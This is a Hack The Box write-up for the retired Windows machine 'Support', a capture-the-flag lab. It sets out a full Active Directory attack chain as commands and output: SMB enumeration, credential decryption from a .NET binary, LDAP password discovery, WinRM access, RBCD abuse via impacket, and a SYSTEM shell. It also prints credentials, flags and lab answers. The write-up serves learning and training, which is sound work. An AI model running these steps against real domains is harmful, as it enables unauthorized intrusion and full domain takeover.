PENTEST-STUDIO · TECHNICAL WRITEUP

HACK THE BOX · WINDOWS

Support

Complete technical writeup · reproducible traceability

Support Machine Solved

HTB Support · 2026-05-03

Machine	Support
Platform	Hack The Box
Status	Retired
Difficulty	Easy
System	Windows
Date	2026-05-03
Author	Ramon Santos Sabarich / r4ms4nt

Standardized technical report for archiving, reference, and traceability.

READING GUIDE

Index

Final technical report for the Support machine. The document preserves the technical sequence, commands, evidence, and reusable lessons from the lab resolution.

- 25.4. Small .NET binaries are excellent candidates for static analysis
- 25.5. A credential does not count until it is validated
- 25.6. Descriptive LDAP attributes can contain secrets
- 25.7. AD escalation should be validated by prerequisites
- 25.8. Execution context matters
- 25.9. In Kerberos, the FQDN and SPN matter

Hack The Box — Support

Category: Easy System: Windows / Active Directory Resolution date: 2026-05-03 Lab IP: `10.129.230.181` Domain: `support.htb` Host: `dc` / `dc.support.htb` Result: user and root obtained

---

1. Case introduction

Support is a Windows machine focused on an Active Directory attack chain. The full path does not depend on web exploitation or a version-specific vulnerability, but on several exposure and configuration weaknesses that chain together very cleanly:

```
Anonymous SMB
→ non-standard share
→ internal .NET tool
→ obfuscated LDAP credential
→ authenticated LDAP query
→ password in the info attribute
→ WinRM as a domain user
→ GenericAll over the DC object
→ Resource Based Constrained Delegation
→ Kerberos ticket as Administrator
→ shell as NT AUTHORITY\SYSTEM
```

The didactic value of this machine lies in reading evidence in an orderly way. Each phase provides a piece that justifies the next one. Root is not reached through brute force or random exploit attempts, but by correctly interpreting domain services, LDAP attributes, groups, ACLs, and Kerberos delegation.

Final result

```
user flag: f6702c2f5fc70621f8bc10403281d32f
root flag: 7fa548191c427443fb2d2dd0381450db
```

---

2. Preparation and startup

The lab was started with the custom `Inici-HTB` script, used to set the target, prepare the working tree, and launch the initial enumeration. This script does not exploit anything; its role is to keep the startup phase organized so later decisions are based on evidence rather than intuition.

Startup command:

```
Inici-HTB Support 10.129.230.181 easy
```

The initial check confirmed connectivity to the target:

```
64 bytes from 10.129.230.181: icmp_seq=1 ttl=127 time=48.1 ms
```

The quick TTL-based estimate pointed to Windows:

```
10.129.230.181 (ttl -> 127): Windows
```

This estimate is not treated as an absolute fact, but it guides the initial interpretation. In this case, it was immediately reinforced by the service scan, which showed a typical domain controller surface.

---

3. Initial port enumeration

The first full scan identified the open TCP ports:

```
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49681,49701
```

A service scan was then launched against those ports. The relevant output was:

```
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
```

```
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OS: Windows
```

This was also observed:

```
SMB signing enabled and required
```

Technical reading

The combination of 53, 88, 389, 445, 464, 636, 3268, 3269, 5985, and 9389 is a very strong Active Directory signal. Port 5985 appears as HTTP, but in this context it corresponds to WinRM over Microsoft HTTPAPI. A web branch was not opened because there was no business web application; port 5985 was a Windows remote administration component.

The dominant surface was classified as:

```
AD / SMB / LDAP / Kerberos
```

Secondary branches were noted as follows:

```
WinRM → pending credentials
LDAP → pending useful bind or credentials
Kerberos → pending valid users
HTTPAPI 5985 → auxiliary, not main web surface
```

Reusable lesson

On Windows domain machines, not every HTTP response should trigger a web branch. If the port set clearly indicates a domain controller, priority should go to SMB, LDAP, Kerberos, and WinRM. Forcing `WEB-BASE` against a `Microsoft-HTTPAPI/2.0 Not Found` response would have been methodological noise.

---

4. Local name resolution

Before querying domain services, local resolution was added for the domain and the controller:

```
echo '10.129.230.181 support.htb dc.support.htb' | sudo tee -a /etc/hosts
```

Check:

```
getent hosts support.htb
getent hosts dc.support.htb
```

Output:

```
10.129.230.181 support.htb dc.support.htb
10.129.230.181 support.htb dc.support.htb
```

Why this mattered

In Active Directory, DNS and FQDNs are not decorative details. Kerberos, LDAP, WinRM, and Impacket may depend on the name used. Working only by IP can cause SPN, realm, or resolution errors that look like credential failures when they are actually context failures.

---

5. SMB enumeration

The first useful validation was listing SMB shares with an anonymous session:

```
smbclient -L //support.htb/ -N
```

The output showed six shares:

```
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
```

```
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
```

The later SMB1 message did not invalidate the enumeration:

```
Unable to connect with SMB1 -- no workgroup available
```

The share list had already been obtained correctly through modern SMB. The error corresponded to the later attempt to list the workgroup using SMB1.

The result was also contrasted with `netexec`:

```
netexec smb 10.129.230.181 -u '' -p '' --shares
```

The tool confirmed the domain, host, and null authentication, although it failed while enumerating shares:

```
Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
STATUS_ACCESS_DENIED
```

Interpretation

The `ADMIN$`, `C$`, `IPC$`, `NETLOGON`, and `SYSVOL` shares are expected on a domain controller. The resource that stood out was:

```
support-tools
```

That name does not correspond to a standard share. Its comment also indicated that it contained support tools. The logical next step was listing its contents.

---

6. Inspecting the `support-tools` share

The share contents were listed:

```
smbclient //support.htb/support-tools -N -c 'ls' | tee scans/smb_support-tools_ls.txt
```

The first attempt produced a local `tee` error because the `scans` directory did not exist yet:

```
tee: scans/smb_support-tools_ls.txt: No existe el fichero o el directorio
```

That error did not affect SMB or the remote listing. The useful output was:

```
7-ZipPortable_21.07.paf.exe
npp.8.4.1.portable.x64.zip
putty.exe
SysinternalsSuite.zip
UserInfo.exe.zip
windirstat1_1_2_setup.exe
WiresharkPortable64_3.6.5.paf.exe
```

Reading the result

Most files were well-known public tools: 7-Zip, Notepad++, PuTTY, Sysinternals, WinDirStat, and Wireshark. The file that did not fit with that group was:

```
UserInfo.exe.zip
```

The reading was clear: the share mixed public installers with an internal utility. In an AD environment, a tool named `UserInfo` could contain user or LDAP query logic. It was downloaded for local analysis.

Download:

```
mkdir -p scans loot/smb_support-tools && smbclient //support.htb/support-tools -N -c 'get UserInfo.exe.zip
loot/smb_support-tools/UserInfo.exe.zip'
```

Output:

```
getting file \UserInfo.exe.zip of size 277499 as loot/smb_support-tools/UserInfo.exe.zip
```

Reusable lesson

When a share contains many public tools and one custom artifact, the internal file is usually more valuable than the large installers. The question is not only “what can I download”, but also “which file does not fit with the rest”.

---

7. Local artifact validation

Before executing or decompiling anything, type, hash, and ZIP contents were recorded:

```
file loot/smb_support-tools/UserInfo.exe.zip
sha256sum loot/smb_support-tools/UserInfo.exe.zip
unzip -l loot/smb_support-tools/UserInfo.exe.zip
```

Key results:

```
Zip archive data, at least v2.0 to extract, compression method=deflate
```

```
e070ce95a8b30e126d7ae1803ea15c5a8e7d27b13fc670b3aaa69d7026c2bc97 loot/smb_support-tools/UserInfo.exe.zip
```

Relevant contents:

```
UserInfo.exe
CommandLineParser.dll
Microsoft.Bcl.AsyncInterfaces.dll
Microsoft.Extensions.DependencyInjection.Abstractions.dll
Microsoft.Extensions.DependencyInjection.dll
Microsoft.Extensions.Logging.Abstractions.dll
System.Buffers.dll
System.Memory.dll
System.Numerics.Vectors.dll
System.Runtime.CompilerServices.Unsafe.dll
System.Threading.Tasks.Extensions.dll
UserInfo.exe.config
```

The ZIP contained twelve files and the main binary was `UserInfo.exe`.

Extraction and binary type

```
rm -rf loot/smb_support-tools/UserInfo_extracted && mkdir -p loot/smb_support-tools/UserInfo_extracted && unzip
-q loot/smb_support-tools/UserInfo.exe.zip -d loot/smb_support-tools/UserInfo_extracted && file
loot/smb_support-tools/UserInfo_extracted/UserInfo.exe && ls -la loot/smb_support-tools/UserInfo_extracted
```

The `file` output confirmed:

```
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
```

Interpretation

`UserInfo.exe` was a Windows `.NET` binary. This was very favorable for static analysis because `.NET` binaries often preserve useful class names, methods, namespaces, and strings. The binary was not executed directly as a first step; its configuration and strings were reviewed first.

---

8. Reviewing the binary configuration

The `UserInfo.exe.config` file was read:

```
cat loot/smb_support-tools/UserInfo_extracted/UserInfo.exe.config
```

Relevant content:

```
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
</startup>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a"
culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
```

```
</configuration>
```

The `.config` file did not contain credentials, endpoints, or operational parameters. It only confirmed `.NET Framework v4.8` runtime and a `bindingRedirect`.

Decision

The value was not in the configuration, but in the executable. The next action was extracting relevant strings from the binary.

---

9. Extracting strings from `UserInfo.exe`

ASCII and UTF-16LE strings were searched:

```
{ echo '[ASCII strings]'; strings -a loot/smb_support-tools/UserInfo_extracted/UserInfo.exe; echo '[UTF-16LE
strings]'; strings -a -el loot/smb_support-tools/UserInfo_extracted/UserInfo.exe; } | tee
loot/smb_support-tools/UserInfo_extracted/UserInfo.exe.strings.txt | grep -Ei
'ldap|support|password|protected|getpassword|directory|armando|0Nv|enc_|userinfo|finduser|getuser'
```

Key output:

```
Protected
getPassword
enc_password
DirectorySearcher
FindUser
GetUser
System.DirectoryServices
LdapQuery
DirectoryEntry
C:\Users\0xdf\source\repos\UserInfo\obj\Release\UserInfo.pdb
0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E
armando
LDAP://support.htb
support\ldap
[*] LDAP query to use:
Last Password Change:
```

Technical reading

This output was very rich. It allowed several facts to be stated:

- the binary used `System.DirectoryServices`;
- there was LDAP logic (`LdapQuery`, `DirectoryEntry`, `DirectorySearcher`);
- the LDAP server was `LDAP://support.htb`;
- the bind user was `support\ldap`;
- there was a `getPassword` function inside a `Protected` component;
- there was an `enc_password` variable;
- the protected string was `0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E`;
- the word `armando` appeared, which fit as an obfuscation key or seed.

Discarded attempt: `monodis`

Disassembling the binary with `monodis` was considered, but the tool was not installed:

```
zsh: command not found: monodis
```

It was not necessary to block the resolution at this point. With the observed strings and the known logic of the binary, the decryption was reproduced locally in Python. In the final document, `monodis` remains as an alternative method that was not used.

---

10. Recovering the LDAP password

The decryption was reproduced with Python:

```
python3 - << 'PY' | tee loot/smb_support-tools/UserInfo_extracted/ldap_password.txt
import base64
enc = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
raw = base64.b64decode(enc)
password = bytes(
b ^ key[i % len(key)] ^ 223
for i, b in enumerate(raw)
```

```
).decode()
print(password)
PY
```

Output:

```
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```

Interpretation

The recovered credential was associated with the data observed in the binary:

```
LDAP host: support.htb
LDAP user: support\ldap
LDAP password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```

The password was not assumed valid merely because it had been decrypted. The next step was validating it against LDAP.

---

11. LDAP bind validation

A minimal low-noise query was run to check authentication and base context:

```
ldapsearch -x \
-H ldap://support.htb \
-D 'support\ldap' \
-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-s base namingContexts defaultNamingContext
```

Output:

```
defaultNamingContext: DC=support,DC=htb
namingContexts: DC=support,DC=htb
namingContexts: CN=Configuration,DC=support,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=support,DC=htb
namingContexts: DC=DomainDnsZones,DC=support,DC=htb
namingContexts: DC=ForestDnsZones,DC=support,DC=htb
result: 0 Success
```

Reading the result

This result validated three points:

1. the recovered LDAP password was correct; 2. the LDAP server was the expected DC; 3. the domain base context was `DC=support,DC=htb`.

From here onward, the work was no longer based on a hypothesis, but on a functional LDAP credential.

---

12. Targeted query for the `support` user

LDAP was not dumped indiscriminately. A targeted search was performed for the `support` user, because the username was relevant to the machine and the expected path involved locating useful attributes.

```
mkdir -p loot/ldap && ldapsearch -x \
-H ldap://support.htb \
-D 'support\ldap' \
-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-b 'DC=support,DC=htb' \
'(&(objectClass=user)(sAMAccountName=support))' \
sAMAccountName cn name description info memberOf userPrincipalName distinguishedName \
| tee loot/ldap/support_user.ldif
```

Relevant output:

```
dn: CN=support,CN=Users,DC=support,DC=htb
cn: support
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
name: support
sAMAccountName: support
result: 0 Success
```

Interpretation

The attribute that stood out was:

```
info: Ironside47pleasure40Watchful
```

`info` is not a password attribute, but it contained a string with a clear password-like format. In addition, the `support` user belonged to `Remote Management Users`, a group that allows WinRM access if the credential is valid.

Membership in `Shared Support Accounts` was noted for the escalation phase, but at this point the immediate goal was validating remote access.

Reusable lesson

In AD, a low-privilege LDAP credential can have high impact if it can read misused attributes. Seemingly descriptive fields such as `info` or `description` should not be ignored: sometimes they contain operational secrets.

---

13. WinRM access and user flag

With the password found in LDAP, WinRM access was validated:

```
evil-winrm -i support.htb -u support -p 'Ironside47pleasure40Watchful'
```

In the remote session:

```
whoami
```

Output:

```
support\support
```

Two minor errors were made due to switching from a Linux context to PowerShell:

```
id
ls -la
```

Both failed because the session was PowerShell, not a Linux shell:

```
The term 'id' is not recognized...
A parameter cannot be found that matches parameter name 'la'.
```

These mistakes did not affect the access. They serve as a reminder that shell context matters: Evil-WinRM provides PowerShell on Windows.

The user flag was read from the user's desktop:

```
Get-Content C:\Users\support\Desktop\user.txt
```

Result:

```
f6702c2f5fc70621f8bc10403281d32f
```

User-phase closure

The chain up to user was validated as follows:

```
Anonymous SMB
→ UserInfo.exe.zip
→ LDAP credential support\ldap
→ authenticated LDAP
→ info attribute of the support user
→ WinRM as support\support
→ user flag
```

---

14. Post-foothold enumeration

The escalation did not start by running random tools. Context was first established from the WinRM session:

```
whoami /user
```

```
hostname
whoami /groups
```

Relevant output:

```
User Name SID
============== ===========================================
support\support S-1-5-21-1677581083-3380853377-188903654-1105
```

```
hostname: dc
```

Relevant groups:

```
BUILTIN\Remote Management Users
NT AUTHORITY\Authenticated Users
SUPPORT\Shared Support Accounts
```

Interpretation

`Remote Management Users` explained WinRM access. `Authenticated Users` was relevant because, in many domains, it allows machine account creation if `ms-DS-MachineAccountQuota` is greater than zero. `Shared Support Accounts` was the non-standard group and became the escalation focus.

---

15. Validating `ms-DS-MachineAccountQuota`

The domain attribute defining how many machine accounts an authenticated user can create was queried:

```
Get-ADObject -Identity ((Get-ADDomain).DistinguishedName) -Properties ms-DS-MachineAccountQuota | Select-Object
DistinguishedName,ms-DS-MachineAccountQuota
```

Output:

```
DistinguishedName ms-DS-MachineAccountQuota
----------------- ------------------------
DC=support,DC=htb 10
```

Technical reading

`ms-DS-MachineAccountQuota = 10` means authenticated users can create up to ten machine accounts in the domain. This does not grant root by itself, but it validates an important prerequisite for a Resource Based Constrained Delegation path.

---

16. Validating permissions over the `DC` object

It was checked whether the `Shared Support Accounts` group had permissions over the domain controller object:

```
$dc = Get-ADComputer DC; Get-Acl ("AD:\" + $dc.DistinguishedName) | Select-Object -ExpandProperty Access |
Where-Object { $_.IdentityReference -match "Shared Support Accounts" } | Select-Object
IdentityReference,ActiveDirectoryRights,AccessControlType,InheritanceType
```

Output:

```
IdentityReference ActiveDirectoryRights AccessControlType InheritanceType
----------------- -------------------- ----------------- --------------
SUPPORT\Shared Support Accounts GenericAll Allow All
```

Interpretation

`GenericAll` over a computer object in AD implies full control over that object. Since the object was `DC`, and the `support` user belonged to the group with that permission, the main path became domain-permission abuse.

The validated chain was:

```
support\support
→ Shared Support Accounts
→ GenericAll over DC
→ ability to modify attributes of the DC object
```

---

17. Initial state of the RBCD attribute

Before modifying the domain, the initial state of the relevant attributes was read:

```
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount,msDS-AllowedToActOnBehalfOfOtherIdentity |
Select-Object Name,PrincipalsAllowedToDelegateToAccount,msDS-AllowedToActOnBehalfOfOtherIdentity
```

Output:

```
Name PrincipalsAllowedToDelegateToAccount msDS-AllowedToActOnBehalfOfOtherIdentity
---- ----------------------------------- ----------------------------------------
DC {}
```

Why this was done

This read was not exploitation; it was traceability. Before changing a delegation attribute, it is useful to record its previous state. This makes it possible to demonstrate what was modified and avoids confusing a pre-existing configuration with a lab action.

---

18. Creating a controlled machine account

To prepare RBCD, a controlled machine account was required. The first attempt was mistakenly executed inside Evil-WinRM:

```
addcomputer.py 'support.htb/support:Ironside47pleasure40Watchful' -dc-host dc.support.htb -computer-name
'R4M-SUP01$' -computer-pass 'R4mSup01Passw0rd!'
```

PowerShell replied:

```
The term 'addcomputer.py' is not recognized as the name of a cmdlet...
```

Reading the error

The error did not mean the technique failed. It meant that `addcomputer.py` or `impacket-addcomputer` belongs to the attacker environment, not to the DC's remote PowerShell. The command had to be executed from Parrot.

Correct execution from the attacker machine:

```
cd /home/r4mon/pentest/targets/HTB/easy/Support
impacket-addcomputer 'support.htb/support:Ironside47pleasure40Watchful' -dc-ip 10.129.230.181 -computer-name
'R4M-SUP01$' -computer-pass 'R4mSup01Passw0rd!'
```

Output:

```
[*] Successfully added machine account R4M-SUP01$ with password R4mSup01Passw0rd!.
```

AD validation

From Evil-WinRM, the account was checked:

```
Get-ADComputer -Identity 'R4M-SUP01' -Properties SamAccountName,ObjectSID | Select-Object
Name,SamAccountName,ObjectSID
```

Output:

```
Name SamAccountName ObjectSID
---- -------------- ---------
R4M-SUP01 R4M-SUP01$ S-1-5-21-1677581083-3380853377-188903654-6101
```

---

19. Configuring Resource Based Constrained Delegation

With the machine account created and validated, RBCD was configured on the `DC` object:

```
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount 'R4M-SUP01$'
```

The command did not return output, which is normal in PowerShell when no error occurs. Therefore, the change was verified by reading the attribute:

```
Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount | Select-Object
```

```
Name,PrincipalsAllowedToDelegateToAccount
```

Output:

```
Name PrincipalsAllowedToDelegateToAccount
---- -----------------------------------
DC {CN=R4M-SUP01,CN=Computers,DC=support,DC=htb}
```

Interpretation

The DC now allowed the `R4M-SUP01$` account to act in the configured delegation context. This was the central RBCD piece.

The validated chain was:

```
R4M-SUP01$ created
→ GenericAll allows modifying DC
→ DC authorizes R4M-SUP01$ for delegation
→ an S4U ticket can be requested for a DC SPN
```

---

20. Obtaining the Kerberos ticket as Administrator

From the attacker machine, a service ticket was requested for `cifs/dc.support.htb`, impersonating `Administrator` with the controlled machine account:

```
cd /home/r4mon/pentest/targets/HTB/easy/Support
impacket-getST -dc-ip 10.129.230.181 -spn cifs/dc.support.htb -impersonate Administrator
'support.htb/R4M-SUP01$:R4mSup01Passw0rd!'
```

Output:

```
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
```

Technical reading

`S4U2self` and `S4U2Proxy` indicate that the required Kerberos sequence was completed. The important result was:

```
Administrator.ccache
```

That file contained Kerberos material that Impacket could use to authenticate without a password via `-k -no-pass`.

---

21. Using the ticket with Impacket and SYSTEM shell

The first attempt to use the ticket was mistakenly launched inside Evil-WinRM:

```
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass support.htb/Administrator@dc.support.htb
```

PowerShell replied:

```
The term 'KRB5CCNAME=Administrator.ccache' is not recognized...
```

Reading the error

`KRB5CCNAME=...` is Linux shell syntax for setting an environment variable while running a command. It does not belong to remote PowerShell. Also, `Administrator.ccache` was on the attacker machine, not on the DC.

Correct execution from Parrot:

```
cd /home/r4mon/pentest/targets/HTB/easy/Support
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass -dc-ip 10.129.230.181
support.htb/Administrator@dc.support.htb
```

Relevant output:

```
[*] Requesting shares on dc.support.htb.....
```

```
[*] Found writable share ADMIN$
[*] Uploading file BBmdYhom.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service Vfxw on dc.support.htb.....
[*] Starting service Vfxw.....
Microsoft Windows [Version 10.0.20348.859]
C:\Windows\system32>
```

Identity and host were confirmed:

```
whoami
hostname
```

Output:

```
nt authority\system
dc
```

---

22. Root flag

From the SYSTEM shell, the administrator flag was read:

```
type C:\Users\Administrator\Desktop\root.txt
```

Result:

```
7fa548191c427443fb2d2dd0381450db
```

The machine was solved with an administrative shell on the domain controller.

---

23. Final technical summary

Complete validated chain

```
1. Inici-HTB confirms Windows host and AD surface.
2. Nmap shows a DC with DNS, Kerberos, LDAP, SMB, Global Catalog, WinRM, and ADWS.
3. support.htb and dc.support.htb are added to /etc/hosts.
4. Anonymous SMB allows share listing.
5. support-tools stands out as a non-standard share.
6. support-tools contains UserInfo.exe.zip.
7. The ZIP is downloaded and validated.
8. UserInfo.exe is identified as a .NET binary.
9. UserInfo.exe.config contains no secrets.
10. strings reveals LDAP://support.htb, support\ldap, enc_password, armando, and getPassword.
11. The Base64 + XOR decryption is reproduced with Python.
12. The LDAP password is recovered.
13. LDAP bind works and returns DC=support,DC=htb.
14. LDAP reveals info: Ironside47pleasure40Watchful for the support user.
15. support belongs to Remote Management Users.
16. Evil-WinRM confirms access as support\support.
17. user.txt is obtained.
18. whoami /groups confirms Shared Support Accounts and Authenticated Users.
19. ms-DS-MachineAccountQuota = 10.
20. Shared Support Accounts has GenericAll over DC.
21. The DC RBCD attribute is empty.
22. The R4M-SUP01$ machine account is created.
23. PrincipalsAllowedToDelegateToAccount is configured on DC.
24. Administrator.ccache is obtained with impacket-getST.
25. KRB5CCNAME is used with impacket-psexec.
26. A shell as nt authority\system is obtained.
27. root.txt is obtained.
```

Flags

```
user.txt: f6702c2f5fc70621f8bc10403281d32f
root.txt: 7fa548191c427443fb2d2dd0381450db
```

---

24. Lab questions answered

During the resolution, intermediate lab tasks were answered:

```
How many shares is Support showing on SMB?
```

```
Answer: 6
```

```
Which share is not a default share for a Windows domain controller?
Answer: support-tools
```

```
Almost all of the files in this share are publicly available tools, but one is not. What is the name of that
file?
Answer: UserInfo.exe.zip
```

```
What is the hardcoded password used for LDAP in the UserInfo.exe binary?
Answer: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```

```
Which field in the LDAP data for the user named support stands out as potentially holding a password?
Answer: info
```

```
What open port on Support allows a user in the Remote Management Users group to run PowerShell commands and get
an interactive shell?
Answer: 5985
```

```
Bloodhound data will show that the support user has what privilege on the DC.SUPPORT.HTB object?
Answer: GenericAll
```

```
A common attack with generic all on a computer object is to add a fake computer to the domain. What attribute on
the domain sets how many computer accounts a user is allowed to create in the domain?
Answer: ms-ds-machineaccountquota
```

```
What is the name of the script from Impacket that can convert that ticket to ccache format?
Answer: ticketConverter.py
```

```
What is the name of the environment variable on our local system that we'll set to that ccache file to allow use
of files like psexec.py with the -k and -no-pass options?
Answer: KRB5CCNAME
```

25. Reusable lessons

25.1. A domain controller is recognized by the set, not by an isolated port

The simultaneous presence of DNS, Kerberos, LDAP, SMB, Global Catalog, WinRM, and ADWS carries much more weight than any isolated signal. In Support, port `5985` did not justify opening a web branch; it was WinRM.

25.2. Anonymous SMB remains a critical source of context

Share exposure does not always provide credentials directly. In this case, it provided an internal tool. That tool became the bridge to LDAP.

25.3. In a tools share, what matters is usually what does not fit

`UserInfo.exe.zip` stood out because it was not a public tool. That anomaly criterion allowed it to be prioritized over larger installers with lower offensive value.

25.4. Small .NET binaries are excellent candidates for static analysis

`strings` revealed enough information to guide the analysis: LDAP user, LDAP host, password function, protected string, and key. Although tools such as ILSpy or `monodis` can provide more precision, they are not always required to progress if the evidence is already clear and later validated against the real service.

25.5. A credential does not count until it is validated

The password recovered from the binary was not treated as a valid credential until `ldapsearch` returned `result: 0 Success` and the correct `defaultNamingContext`.

25.6. Descriptive LDAP attributes can contain secrets

The `info` field of the `support` user contained a reusable password. This shows that LDAP enumeration should review attributes such as `info`, `description`, `memberOf`, `servicePrincipalName`, and other context fields.

25.7. AD escalation should be validated by prerequisites

The RBCD path was built by accumulating evidence:

```
support in Authenticated Users
→ MachineAccountQuota = 10
→ support in Shared Support Accounts
→ GenericAll over DC
→ empty RBCD attribute
→ machine account creation
→ delegation configuration
→ S4U ticket
```

Each piece was validated before moving to the next.

25.8. Execution context matters

Two errors were didactically useful:

- attempting to run `impacket-addcomputer` inside Evil-WinRM;
- attempting to use `KRB5CCNAME=...` inside PowerShell.

Both mistakes teach the same lesson: tools and environment variables must be executed in the correct environment. Impacket and `KRB5CCNAME` belong to the Linux attacker machine; Evil-WinRM is a remote PowerShell session.

25.9. In Kerberos, the FQDN and SPN matter

The ticket was requested for:

```
cifs/dc.support.htb
```

Therefore, later use had to refer to the FQDN `dc.support.htb`. Using an IP or inconsistent names can break Kerberos authentication even when the ticket is valid.
